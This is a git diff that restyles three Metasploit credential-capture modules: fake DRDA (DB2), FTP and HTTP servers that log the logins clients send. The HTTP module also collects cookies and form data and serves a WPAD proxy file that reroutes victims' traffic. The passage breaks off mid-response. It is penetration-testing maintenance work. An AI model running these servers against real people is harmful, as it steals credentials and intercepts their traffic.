diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index 57afeab61b27..7aa1df60aca9 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -10,42 +10,48 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report class Constants - CODEPOINT_ACCSEC = 0x106d - CODEPOINT_SECCHK = 0x106e - CODEPOINT_SRVCLSNM = 0x1147 - CODEPOINT_SRVCOD = 0x1149 - CODEPOINT_SRVRLSLV = 0x115a - CODEPOINT_EXTNAM = 0x115e - CODEPOINT_SRVNAM = 0x116d - CODEPOINT_USERID = 0x11a0 - CODEPOINT_PASSWORD = 0x11a1 - CODEPOINT_SECMEC = 0x11a2 - CODEPOINT_SECCHKCD = 0x11a4 - CODEPOINT_SECCHKRM = 0x1219 - CODEPOINT_MGRLVLLS = 0x1404 - CODEPOINT_EXCSATRD = 0x1443 - CODEPOINT_ACCSECRD = 0x14ac - CODEPOINT_RDBNAM = 0x2110 + CODEPOINT_ACCSEC = 0x106d + CODEPOINT_SECCHK = 0x106e + CODEPOINT_SRVCLSNM = 0x1147 + CODEPOINT_SRVCOD = 0x1149 + CODEPOINT_SRVRLSLV = 0x115a + CODEPOINT_EXTNAM = 0x115e + CODEPOINT_SRVNAM = 0x116d + CODEPOINT_USERID = 0x11a0 + CODEPOINT_PASSWORD = 0x11a1 + CODEPOINT_SECMEC = 0x11a2 + CODEPOINT_SECCHKCD = 0x11a4 + CODEPOINT_SECCHKRM = 0x1219 + CODEPOINT_MGRLVLLS = 0x1404 + CODEPOINT_EXCSATRD = 0x1443 + CODEPOINT_ACCSECRD = 0x14ac + CODEPOINT_RDBNAM = 0x2110 end def initialize super( - 'Name' => 'Authentication Capture: DRDA (DB2, Informix, Derby)', - 'Description' => %q{ + 'Name' => 'Authentication Capture: DRDA (DB2, Informix, Derby)', + 'Description' => %q{ This module provides a fake DRDA (DB2, Informix, Derby) server that is designed to capture authentication credentials. }, - 'Author' => 'Patrik Karlsson ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run DRDA capture server' ]], + 'Author' => 'Patrik Karlsson ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run DRDA capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 50000 ]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50000 ]) + ] + ) end def setup @@ -54,87 +60,87 @@ def setup end def run - exploit() + exploit end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil, - :database => nil + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil, + database: nil } end # translates EBDIC to ASCII def drda_ascii_to_ebdic(str) a2e = [ - "00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F" + - "405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F" + - "7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D" + - "79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107" + - "202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1" + - "4142434445464748495152535455565758596263646566676869707172737475" + - "767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7" + - "B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF" - ].pack("H*") - str.unpack('C*').map {|c| a2e[c] }.pack("A"*str.length) + '00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F' \ + '405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F' \ + '7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D' \ + '79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107' \ + '202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1' \ + '4142434445464748495152535455565758596263646566676869707172737475' \ + '767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7' \ + 'B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF' + ].pack('H*') + str.unpack('C*').map { |c| a2e[c] }.pack('A' * str.length) end # translates ASCII to EBDIC def drda_ebdic_to_ascii(str) e2a = [ - "000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F" + - "80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A" + - "20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E" + - "2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22" + - "C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0" + - "D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7" + - "7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3" + - "5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF" - ].pack("H*") - str.unpack('C*').map {|c| e2a[c] }.pack("A"*str.length) + '000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F' \ + '80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A' \ + '20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E' \ + '2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22' \ + 'C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0' \ + 'D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7' \ + '7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3' \ + '5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF' + ].pack('H*') + str.unpack('C*').map { |c| e2a[c] }.pack('A' * str.length) end # parses and returns a DRDA parameter def drda_parse_parameter(data) param = { - :length => data.slice!(0,2).unpack("n")[0], - :codepoint => data.slice!(0,2).unpack("n")[0], - :data => "" + length: data.slice!(0, 2).unpack('n')[0], + codepoint: data.slice!(0, 2).unpack('n')[0], + data: '' } - param[:data] = drda_ebdic_to_ascii(data.slice!(0,param[:length] - 4).unpack("A*")[0]) + param[:data] = drda_ebdic_to_ascii(data.slice!(0, param[:length] - 4).unpack('A*')[0]) param end # creates a DRDA parameter def drda_create_parameter(codepoint, data) param = { - :codepoint => codepoint, - :data => drda_ascii_to_ebdic(data), - :length => data.length + 4 + codepoint: codepoint, + data: drda_ascii_to_ebdic(data), + length: data.length + 4 } param end # creates a DRDA CMD with parameters and returns it as an opaque string - def drda_create_cmd(codepoint, options = { :format => 0x43, :correlid => 0x01 }, params=[]) - data = "" + def drda_create_cmd(codepoint, options = { format: 0x43, correlid: 0x01 }, params = []) + data = '' for p in params.each - data << [p[:length]].pack("n") - data << [p[:codepoint]].pack("n") - data << [p[:data]].pack("A*") + data << [p[:length]].pack('n') + data << [p[:codepoint]].pack('n') + data << [p[:data]].pack('A*') end - hdr = "" - hdr << [data.length + 10].pack("n") - hdr << [0xd0].pack("C") # magic - hdr << [options[:format]].pack("C") # format - hdr << [options[:correlid]].pack("n") # corellid - hdr << [data.length + 4].pack("n") # length2 - hdr << [codepoint].pack("n") + hdr = '' + hdr << [data.length + 10].pack('n') + hdr << [0xd0].pack('C') # magic + hdr << [options[:format]].pack('C') # format + hdr << [options[:correlid]].pack('n') # corellid + hdr << [data.length + 4].pack('n') # length2 + hdr << [codepoint].pack('n') data = hdr + data data @@ -146,79 +152,77 @@ def drda_parse_response(data) until data.empty? cp = { - :length => data.slice!(0, 2).unpack("n")[0], - :magic => data.slice!(0, 1).unpack("C")[0], - :format => data.slice!(0, 1).unpack("C")[0], - :corellid => data.slice!(0,2).unpack("n")[0], - :length2 => data.slice!(0,2).unpack("n")[0], - :codepoint => data.slice!(0,2).unpack("n")[0], - :params => [] + length: data.slice!(0, 2).unpack('n')[0], + magic: data.slice!(0, 1).unpack('C')[0], + format: data.slice!(0, 1).unpack('C')[0], + corellid: data.slice!(0, 2).unpack('n')[0], + length2: data.slice!(0, 2).unpack('n')[0], + codepoint: data.slice!(0, 2).unpack('n')[0], + params: [] } cpdata = data.slice!(0, cp[:length] - 10) - until cpdata.empty? - cp[:params] << drda_parse_parameter(cpdata) - end + cp[:params] << drda_parse_parameter(cpdata) until cpdata.empty? result << cp end result end # sends of a DRDA command - def drda_send_cmd(c, cmd) - data = "" - cmd.each {|d| data << d} - c.put data + def drda_send_cmd(client, cmd) + data = '' + cmd.each { |d| data << d } + client.put data end - def on_client_data(c) - data = c.get_once + def on_client_data(client) + data = client.get_once - return if not data + return if !data for cmd in drda_parse_response(data).each case cmd[:codepoint] when Constants::CODEPOINT_ACCSEC params = [] - params << drda_create_parameter(Constants::CODEPOINT_EXTNAM, "DB2 db2sysc 05D80B00%FED%Y00") - params << drda_create_parameter(Constants::CODEPOINT_MGRLVLLS, ["9d03008e847f008e1c970000840f00979d20008d9dbe0097"].pack("H*")) - params << drda_create_parameter(Constants::CODEPOINT_SRVCLSNM, "QDB2/NT64") - params << drda_create_parameter(Constants::CODEPOINT_SRVNAM, "DB2") - params << drda_create_parameter(Constants::CODEPOINT_SRVRLSLV, "SQL10010") + params << drda_create_parameter(Constants::CODEPOINT_EXTNAM, 'DB2 db2sysc 05D80B00%FED%Y00') + params << drda_create_parameter(Constants::CODEPOINT_MGRLVLLS, ['9d03008e847f008e1c970000840f00979d20008d9dbe0097'].pack('H*')) + params << drda_create_parameter(Constants::CODEPOINT_SRVCLSNM, 'QDB2/NT64') + params << drda_create_parameter(Constants::CODEPOINT_SRVNAM, 'DB2') + params << drda_create_parameter(Constants::CODEPOINT_SRVRLSLV, 'SQL10010') cmd = [] - cmd << drda_create_cmd(Constants::CODEPOINT_EXCSATRD, { :format => 0x43, :correlid => 1 }, params) + cmd << drda_create_cmd(Constants::CODEPOINT_EXCSATRD, { format: 0x43, correlid: 1 }, params) params = [] params << drda_create_parameter(Constants::CODEPOINT_SECMEC, "\x00\x03") - cmd << drda_create_cmd(Constants::CODEPOINT_ACCSECRD, { :format => 3, :correlid => 2 }, params) + cmd << drda_create_cmd(Constants::CODEPOINT_ACCSECRD, { format: 3, correlid: 2 }, params) - drda_send_cmd(c, cmd) + drda_send_cmd(client, cmd) when Constants::CODEPOINT_SECCHK for p in cmd[:params].each case p[:codepoint] when Constants::CODEPOINT_USERID - @state[c][:user] = p[:data].rstrip + @state[client][:user] = p[:data].rstrip when Constants::CODEPOINT_PASSWORD - @state[c][:pass] = p[:data].rstrip + @state[client][:pass] = p[:data].rstrip when Constants::CODEPOINT_RDBNAM - @state[c][:database] = p[:data].rstrip + @state[client][:database] = p[:data].rstrip end end - else - # print_status("unhandled codepoint: #{cmd[:codepoint]}") - # do nothing + # else + # print_status("unhandled codepoint: #{cmd[:codepoint]}") + # ignore unhandled codepoints end end - if @state[c][:user] and @state[c][:pass] - print_good("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}") + if @state[client][:user] && @state[client][:pass] + print_good("DRDA LOGIN #{@state[client][:name]} Database: #{@state[client][:database]}; #{@state[client][:user]} / #{@state[client][:pass]}") report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], port: datastore['SRVPORT'], service_name: 'db2_client', - user: @state[c][:user], - password: @state[c][:pass], + user: @state[client][:user], + password: @state[client][:pass], proof: @state.inspect ) @@ -227,10 +231,10 @@ def on_client_data(c) params << drda_create_parameter(Constants::CODEPOINT_SECCHKCD, "\x0f") cmd = [] - cmd << drda_create_cmd(Constants::CODEPOINT_SECCHKRM, { :format => 2, :correlid => 1 }, params) + cmd << drda_create_cmd(Constants::CODEPOINT_SECCHKRM, { format: 2, correlid: 1 }, params) - drda_send_cmd(c, cmd) - #c.close + drda_send_cmd(client, cmd) + # client.close end end @@ -260,7 +264,7 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index f0def3a35326..8be3de422af1 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -9,29 +9,33 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: FTP', - 'Description' => %q{ + 'Name' => 'Authentication Capture: FTP', + 'Description' => %q{ This module provides a fake FTP service that is designed to capture authentication credentials. }, - 'Author' => ['ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture', 'Description' => 'Run FTP capture server' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Capture' + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run FTP capture server' } ] + ], + 'PassiveActions' => [ + 'Capture' + ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]), - OptString.new('BANNER', [ true, "The server banner", 'FTP Server Ready']) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 21 ]), + OptString.new('BANNER', [ true, 'The server banner', 'FTP Server Ready']) + ] + ) end def setup @@ -40,12 +44,12 @@ def setup end def run - exploit() + exploit end - def on_client_connect(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} - c.put "220 #{datastore['BANNER']}\r\n" + def on_client_connect(client) + @state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil } + client.put "220 #{datastore['BANNER']}\r\n" end def report_cred(opts) @@ -74,47 +78,46 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_data(c) - data = c.get_once - return if not data - cmd,arg = data.strip.split(/\s+/, 2) - arg ||= "" + def on_client_data(client) + data = client.get_once + return if !data + + cmd, arg = data.strip.split(/\s+/, 2) + arg ||= '' - if(cmd.upcase == "USER") - @state[c][:user] = arg - c.put "331 User name okay, need password...\r\n" + if (cmd.upcase == 'USER') + @state[client][:user] = arg + client.put "331 User name okay, need password...\r\n" return end - if(cmd.upcase == "QUIT") - c.put "221 Logout\r\n" + if (cmd.upcase == 'QUIT') + client.put "221 Logout\r\n" return end - if(cmd.upcase == "PASS") - @state[c][:pass] = arg + if (cmd.upcase == 'PASS') + @state[client][:pass] = arg report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], port: datastore['SRVPORT'], service_name: 'ftp', - user: @state[c][:user], - password: @state[c][:pass], + user: @state[client][:user], + password: @state[client][:pass], proof: arg ) - print_good("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") + print_good("FTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}") end - @state[c][:pass] = data.strip - c.put "500 Error\r\n" + @state[client][:pass] = data.strip + client.put "500 Error\r\n" return - end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end - end diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index e47b6442ca83..53e56d98a7a7 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -3,50 +3,54 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( - 'Name' => 'Authentication Capture: HTTP', - 'Description' => %q{ + 'Name' => 'Authentication Capture: HTTP', + 'Description' => %q{ This module provides a fake HTTP service that is designed to capture authentication credentials. }, - 'Author' => ['ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture', 'Description' => 'Run capture web server' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Capture' + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run capture web server' } ] + ], + 'PassiveActions' => [ + 'Capture' + ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), - OptPath.new('TEMPLATE', [ false, "The HTML template to serve in responses", - File.join(Msf::Config.data_directory, "exploits", "capture", "http", "index.html") - ] - ), - OptPath.new('SITELIST', [ false, "The list of URLs that should be used for cookie capture", - File.join(Msf::Config.data_directory, "exploits", "capture", "http", "sites.txt") - ] - ), - OptPath.new('FORMSDIR', [ false, "The directory containing form snippets (example.com.txt)", - File.join(Msf::Config.data_directory, "exploits", "capture", "http", "forms") - ] - ), - OptAddress.new('AUTOPWN_HOST',[ false, "The IP address of the browser_autopwn service ", nil ]), - OptPort.new('AUTOPWN_PORT',[ false, "The SRVPORT port of the browser_autopwn service ", nil ]), - OptString.new('AUTOPWN_URI',[ false, "The URIPATH of the browser_autopwn service ", nil ]), - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 80 ]), + OptPath.new('TEMPLATE', [ + false, 'The HTML template to serve in responses', + File.join(Msf::Config.data_directory, 'exploits', 'capture', 'http', 'index.html') + ]), + OptPath.new('SITELIST', [ + false, 'The list of URLs that should be used for cookie capture', + File.join(Msf::Config.data_directory, 'exploits', 'capture', 'http', 'sites.txt') + ]), + OptPath.new('FORMSDIR', [ + false, 'The directory containing form snippets (example.com.txt)', + File.join(Msf::Config.data_directory, 'exploits', 'capture', 'http', 'forms') + ]), + OptAddress.new('AUTOPWN_HOST', [ false, 'The IP address of the browser_autopwn service ', nil ]), + OptPort.new('AUTOPWN_PORT', [ false, 'The SRVPORT port of the browser_autopwn service ', nil ]), + OptString.new('AUTOPWN_URI', [ false, 'The URIPATH of the browser_autopwn service ', nil ]), + ] + ) end # Not compatible today @@ -58,41 +62,44 @@ def run @formsdir = datastore['FORMSDIR'] @template = datastore['TEMPLATE'] @sitelist = datastore['SITELIST'] - @myhost = datastore['SRVHOST'] - @myport = datastore['SRVPORT'] + @myhost = datastore['SRVHOST'] + @myport = datastore['SRVPORT'] - @myautopwn_host = datastore['AUTOPWN_HOST'] - @myautopwn_port = datastore['AUTOPWN_PORT'] - @myautopwn_uri = datastore['AUTOPWN_URI'] - @myautopwn = false + @myautopwn_host = datastore['AUTOPWN_HOST'] + @myautopwn_port = datastore['AUTOPWN_PORT'] + @myautopwn_uri = datastore['AUTOPWN_URI'] + @myautopwn = false - if(@myautopwn_host and @myautopwn_port and @myautopwn_uri) + if @myautopwn_host && @myautopwn_port && @myautopwn_uri @myautopwn = true end - exploit() + exploit end - def on_client_connect(c) - c.extend(Rex::Proto::Http::ServerClient) - c.init_cli(self) + def on_client_connect(client) + client.extend(Rex::Proto::Http::ServerClient) + client.init_cli(self) end def on_client_data(cli) begin data = cli.get_once(-1, 5) - raise ::Errno::ECONNABORTED if !data or data.length == 0 + raise ::Errno::ECONNABORTED if !data || data.empty? + case cli.request.parse(data) - when Rex::Proto::Http::Packet::ParseCode::Completed - dispatch_request(cli, cli.request) - cli.reset_cli - when Rex::Proto::Http::Packet::ParseCode::Error - close_client(cli) + when Rex::Proto::Http::Packet::ParseCode::Completed + dispatch_request(cli, cli.request) + cli.reset_cli + when Rex::Proto::Http::Packet::ParseCode::Error + close_client(cli) end - rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET - rescue ::OpenSSL::SSL::SSLError - rescue ::Exception - print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") + rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET => e + vprint_error(e.message) + rescue ::OpenSSL::SSL::SSLError => e + vprint_error(e.message) + rescue StandardError + print_error("Error: #{$ERROR_INFO.class} #{$ERROR_INFO} #{$ERROR_INFO.backtrace}") end close_client(cli) @@ -131,131 +138,122 @@ def report_cred(opts) end def dispatch_request(cli, req) - - phost = cli.peerhost + cli.peerhost os_name = nil - os_type = nil - os_vers = nil - os_arch = 'x86' ua_name = nil ua_vers = nil ua = req['User-Agent'] - case (ua) - when /rv:([\d\.]+)/ - ua_name = 'FF' - ua_vers = $1 - when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]+\.[0-9]+)/ - ua_name = 'IE' - ua_vers = $1 - when /Version\/(\d+\.\d+\.\d+).*Safari/ - ua_name = 'Safari' - ua_vers = $1 + case ua + when /rv:([\d.]+)/ + ua_name = 'FF' + ua_vers = ::Regexp.last_match(1) + when %r{Mozilla/[0-9]\.[0-9] \(compatible; MSIE ([0-9]+\.[0-9]+)} + ua_name = 'IE' + ua_vers = ::Regexp.last_match(1) + when %r{Version/(\d+\.\d+\.\d+).*Safari} + ua_name = 'Safari' + ua_vers = ::Regexp.last_match(1) end - case (ua) - when /Windows/ - os_name = 'Windows' - when /Linux/ - os_name = 'Linux' - when /iPhone/ - os_name = 'iPhone' - os_arch = 'armle' - when /Mac OS X/ - os_name = 'Mac' + case ua + when /Windows/ + os_name = 'Windows' + when /Linux/ + os_name = 'Linux' + when /iPhone/ + os_name = 'iPhone' + 'armle' + when /Mac OS X/ + os_name = 'Mac' end - case (ua) - when /PPC/ - os_arch = 'ppc' + case ua + when /PPC/ + 'ppc' end os_name ||= 'Unknown' mysrc = Rex::Socket.source_address(cli.peerhost) - hhead = (req['Host'] || @myhost) + hhead = req['Host'] || @myhost - if req.resource =~ /^http\:\/+([^\/]+)(\/*.*)/ - hhead = $1 - req.resource = $2 + if req.resource =~ %r{^http:/+([^/]+)(/*.*)} + hhead = ::Regexp.last_match(1) + req.resource = ::Regexp.last_match(2) end if hhead =~ /^(.*):(\d+)\s*$/ - hhead = $1 - nport = $2.to_i + hhead = ::Regexp.last_match(1) + nport = ::Regexp.last_match(2).to_i end @myport = nport || 80 - cookies = req['Cookie'] || '' - - if(cookies.length > 0) + if !cookies.empty? report_note( - :host => cli.peerhost, - :type => "http_cookies", - :data => hhead + " " + cookies, - :update => :unique_data + host: cli.peerhost, + type: 'http_cookies', + data: hhead + ' ' + cookies, + update: :unique_data ) end - - if(req['Authorization'] and req['Authorization'] =~ /basic/i) - basic,auth = req['Authorization'].split(/\s+/) - user,pass = Rex::Text.decode_base64(auth).split(':', 2) + if req['Authorization'] && req['Authorization'] =~ /basic/i + _, auth = req['Authorization'].split(/\s+/) + user, pass = Rex::Text.decode_base64(auth).split(':', 2) report_cred( ip: cli.peerhost, port: @myport, - service_name: (ssl ? "https" : "http"), + service_name: (ssl ? 'https' : 'http'), user: user, pass: pass, proof: req.resource.to_s ) report_note( - :host => cli.peerhost, - :type => "http_auth_extra", - :data => req.resource.to_s, - :update => :unique_data + host: cli.peerhost, + type: 'http_auth_extra', + data: req.resource.to_s, + update: :unique_data ) print_good("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}") end - - if(req.resource =~ /^\/*wpad.dat|.*\.pac$/i) + if (req.resource =~ %r{^/*wpad.dat|.*\.pac$}i) prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }" res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{hhead}\r\n" + - "Content-Type: application/x-ns-proxy-autoconfig\r\n" + - "Content-Length: #{prx.length}\r\n" + + "HTTP/1.1 200 OK\r\n" \ + "Host: #{hhead}\r\n" \ + "Content-Type: application/x-ns-proxy-autoconfig\r\n" \ + "Content-Length: #{prx.length}\r\n" \ "Connection: Close\r\n\r\n#{prx}" print_status("HTTP wpad.dat sent to #{cli.peerhost}") cli.put(res) return end - - if(req.resource =~ /\/+formrec\/(.*)/i) - data = Rex::Text.uri_decode($1).split("\x00").join(", ") + if (req.resource =~ %r{/+formrec/(.*)}i) + data = Rex::Text.uri_decode(::Regexp.last_match(1)).split("\x00").join(', ') report_note( - :host => cli.peerhost, - :type => "http_formdata", - :data => hhead + " " + data, - :update => :unique_data + host: cli.peerhost, + type: 'http_formdata', + data: hhead + ' ' + data, + update: :unique_data ) res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{hhead}\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: 4\r\n" + + "HTTP/1.1 200 OK\r\n" \ + "Host: #{hhead}\r\n" \ + "Content-Type: text/html\r\n" \ + "Content-Length: 4\r\n" \ "Connection: Close\r\n\r\nBYE!" print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})") @@ -264,44 +262,42 @@ def dispatch_request(cli, req) end report_note( - :host => cli.peerhost, - :type => "http_request", - :data => "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}", - :update => :unique_data + host: cli.peerhost, + type: 'http_request', + data: "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}", + update: :unique_data ) print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers} cookies=#{cookies}") - if(req.resource =~ /\/+forms.html$/) + if (req.resource =~ %r{/+forms.html$}) frm = inject_forms(hhead) res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{hhead}\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{frm.length}\r\n" + + "HTTP/1.1 200 OK\r\n" \ + "Host: #{hhead}\r\n" \ + "Content-Type: text/html\r\n" \ + "Content-Length: #{frm.length}\r\n" \ "Connection: Close\r\n\r\n#{frm}" cli.put(res) return end - # http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt - if(req.resource == "/update/PatchSequenceFile.txt") + if (req.resource == '/update/PatchSequenceFile.txt') print_status("HTTP #{cli.peerhost} is trying to play World of Warcraft") end - # Microsoft 'Network Connectivity Status Indicator' Vista if (req['Host'] == 'www.msftncsi.com') print_status("HTTP #{cli.peerhost} requested the Network Connectivity Status Indicator page (Vista)") - data = "Microsoft NCSI" - res = - "HTTP/1.1 200 OK\r\n" + - "Host: www.msftncsi.com\r\n" + - "Expires: 0\r\n" + - "Cache-Control: must-revalidate\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{data.length}\r\n" + + data = 'Microsoft NCSI' + res = + "HTTP/1.1 200 OK\r\n" \ + "Host: www.msftncsi.com\r\n" \ + "Expires: 0\r\n" \ + "Cache-Control: must-revalidate\r\n" \ + "Content-Type: text/html\r\n" \ + "Content-Length: #{data.length}\r\n" \ "Connection: Close\r\n\r\n#{data}" cli.put(res) return @@ -327,18 +323,17 @@ def dispatch_request(cli, req) # Microsoft ActiveX Download if (req['Host'] == 'activex.microsoft.com') print_status("HTTP #{cli.peerhost} attempted to download an ActiveX control") - data = "" - res = - "HTTP/1.1 404 Not Found\r\n" + - "Host: #{mysrc}\r\n" + - "Content-Type: application/octet-stream\r\n" + - "Content-Length: #{data.length}\r\n" + + data = '' + res = + "HTTP/1.1 404 Not Found\r\n" \ + "Host: #{mysrc}\r\n" \ + "Content-Type: application/octet-stream\r\n" \ + "Content-Length: #{data.length}\r\n" \ "Connection: Close\r\n\r\n#{data}" cli.put(res) return end - # Sonic.com's Update Service if (req['Host'] == 'updateservice.sonic.com') print_status("HTTP #{cli.peerhost} is running a Sonic.com product that checks for online updates") @@ -357,92 +352,88 @@ def dispatch_request(cli, req) end # The itunes store on the iPhone - if(req['Host'] == 'phobos.apple.com') + if (req['Host'] == 'phobos.apple.com') print_status("HTTP #{cli.peerhost} is using iTunes Store on the iPhone") # GET /bag.xml end - # Handle image requests - ctypes = - { - "jpg" => "image/jpeg", - "jpeg" => "image/jpeg", - "png" => "image/png", - "gif" => "image/gif", - } + ctypes = + { + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif' + } - req_ext = req.resource.split(".")[-1].downcase + req_ext = req.resource.split('.')[-1].downcase - if(ctypes[req_ext]) + if ctypes[req_ext] ctype = ctypes['gif'] data = - "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" + - "\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" + + "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" \ + "\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" \ "\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b" res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{mysrc}\r\n" + - "Content-Type: #{ctype}\r\n" + - "Content-Length: #{data.length}\r\n" + + "HTTP/1.1 200 OK\r\n" \ + "Host: #{mysrc}\r\n" \ + 